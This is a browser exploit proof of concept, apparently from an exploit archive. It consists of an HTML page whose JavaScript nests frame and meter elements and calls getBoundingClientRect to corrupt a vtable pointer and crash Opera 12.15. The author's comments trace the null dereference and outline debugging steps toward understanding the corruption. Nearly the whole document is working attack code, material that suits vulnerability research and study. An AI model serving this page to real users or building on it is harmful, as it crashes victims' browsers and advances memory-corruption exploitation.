Opera 12.15 – vtable Corruption
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title> Opera 12.15 DOS POC</title> </head> <body> <iframe id="wnd"></iframe> <script type="text/javascript" language="JavaScript"> /* Title: Opera 12.15 vTable Corruption Author: echo Test: Windows 7 x64 Version: Opera 12.15 Win32 Link: www.opera.com */ var wnd = document.getElementById("wnd"); wnd = wnd.contentWindow; function d00m() { var tag = []; tag.push(document.createElement("frame")); tag.push(document.createElement("meter")); wnd.document.body.appendChild(tag[0]); wnd.document.body.appendChild(tag[1]); /* step 1*/ var obj = tag[1]; var obj_1 = tag[0]; try{ obj_1.appendChild(obj); }catch(b){} /* eax = [esi + 14h] = this->unknow20 */ try{ obj_1.getBoundingClientRect(); }catch(a){} /* ecx = [eax + 14h] = this->unknow20->unknow20 */ /* eax = [ecx] = this->unknow20->unknow20[vtBl] (correnct) */ /* step 2*/ var obj = tag[0]; var obj_1 = tag[1]; try{ obj_1.appendChild(obj); }catch(b){} try{ obj_1.getBoundingClientRect();}catch(a){} /* eax = [esi + 14h] = this->unknow20 */ /* ecx = [eax + 14h] = this->unknow20->unknow20 */ } /* eax = [ecx] = this->unknow20->unknow20[vtBl] (uncorrect) 0x00000000 reference */ d00m(); /* so we have here some kind of memory corruption */ /* in "step 1" "vulnerable" code works fine he gets refernce to vtable and do some stuff */ /* in "step 2" the same code do the same thing but vtable of refernced object is corrupted and has value 0x0000000*/ /* logically next step should be checking why the vtable in "step 2" is corrupted */ /* i observed heap allocation and free function between "step 1" and "step 2" - no alloc and free of intersting area occurs (but maybe i fuckup something) */ /* We also can set mem access breakpoint on [eax+14h] at the right moment to find out what corrupt vtable */ </script> <!--088241c155f232f70fcae7020157b9dcff210b84--> </body> </html> |